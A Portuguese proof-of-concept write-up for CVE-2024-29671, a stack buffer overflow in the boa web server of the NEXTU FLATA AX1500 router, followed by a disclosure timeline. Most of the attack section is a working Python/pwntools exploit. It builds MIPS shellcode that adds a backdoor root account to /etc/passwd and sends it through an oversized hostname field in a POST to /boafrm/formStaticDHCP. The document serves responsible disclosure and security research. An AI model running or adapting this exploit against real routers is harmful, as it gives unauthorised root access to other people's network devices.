
Este é o POC do CVE-2024-29671.
Este documento descreve como a vulnerabilidade CVE-2024-29671 foi explorada no firmware do roteador NEXTU FLATA AX1500.
Este roteador é baseado na arquitetura MIPS usando o chipset Realtek com Little-Endian.
A versão do firmware do roteador alvo é v1.0.2.
Este firmware inclui um servidor web embarcado chamado "boa", lançado pela última vez em 2005.
No entanto, este roteador usa o servidor web boa para fornecer um serviço de página web de administração que controla o firmware do roteador.
O status de segurança do binário "boa" é o seguinte.
Fig 1. Resultado do checksec do binário do servidor web boa
A causa do estouro de pilha é que a verificação do valor de comprimento não foi realizada ao copiar o conteúdo do parâmetro hostname usando strcpy() na função formStaticDHCP em 0x00411c00. Quando o manipulador de requisições processa requisições de formulário no servidor web boa.
Fig 2. Local onde ocorre o estouro de pilha
Fig 3. Visualização da memória da pilha antes de ocorrer o estouro de pilha.
(A linha branca é a área do endereço RET)

Fig 4. Visualização da memória da pilha após ocorrer o estouro de pilha.
Como você pode ver no endereço 0x7ffef7dc da pilha, que armazena o endereço RET do manipulador, os dados foram estourados por 0x42('B').
Se um atacante insere um código de execução remota e adiciona o endereço de sobrescrita na área RET ao valor do parâmetro 'hostname' da requisição POST /boafrm/formStaticDHCP, o código arbitrário deve ser executado como root.
from pwn import *
from hackebds import *
# id: rOOt
# passwd: pwn3d
def add_user_credential_shell_code():
context.update(arch='mips', os='linux', bits=32, endian='little')
cmd = "/bin/sh"
args = ["sh", "-c", "echo \"rOOt:XJ1GV.nyFFMoI:0:0:root:/:/bin/sh\" >> /etc/passwd"]
asmcode = shellcraft.mips.linux.execve(cmd, args) + shellcraft.mips.linux.exit()
shellcode = asm(asmcode)
return shellcode
shellcode = add_user_credential_shell_code()
print(shellcode)
gap_code = (b'A') * 1282
# insert RET Address by your own
# In this case, the address value is in the video below that execute RCE.
RET_address = (b'\xe0\x4e\xb9\x7f')
stack_gap = (b'B') * 0x180
final_code = gap_code + RET_address + stack_gap + shellcode
import socket
import ssl
# Boa Webserver Connect Address
HOST = '192.168.1.254'
PORT = 443
context = ssl.create_default_context()
context.set_ciphers('HIGH:!DH:!aNULL')
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
with socket.create_connection((HOST, PORT)) as sock:
with context.wrap_socket(sock, server_hostname=HOST) as ssock:
# Make Request Body
send_byte = b"ip_addr=AAA&mac_addr=AAA&static_dhcp=%00%00&addRsvIPFlag=%00%00&addRsvIP=%00%00&deleteSelRsvIP=%00%00&modifyRsvIP=AAA&hostname=" + final_code
# POST Request Header
headers = b"POST /boafrm/formStaticDHCP HTTP/1.1\r\n" \
b"Host: " + HOST.encode('utf-8') + b"\r\n" \
b"Content-Type: application/octet-stream\r\n" \
b"Content-Length: " + str(len(send_byte)).encode(
'utf-8') + b"\r\nConnection: close\r\n\r\n"
ssock.send(headers + send_byte)
response = b""
while True:
data = ssock.recv(1024)
if not data:
break
response += data
print(response.decode('utf-8'))
https://github.com/user-attachments/assets/41c7cd6f-3e9d-4bb8-ab04-973e8b074bed
Esta vulnerabilidade deve causar problemas de RCE e DOS.
2024-03-17: Solicitação do número CVE
2024-03-22: Número CVE atribuído - CVE-2024-29671
2024-03~ 2024-05: O relatório foi entregue à empresa
Ku In Hoe
Professor Assistente Seonghoon Jeong (Sookmyung Women’s University)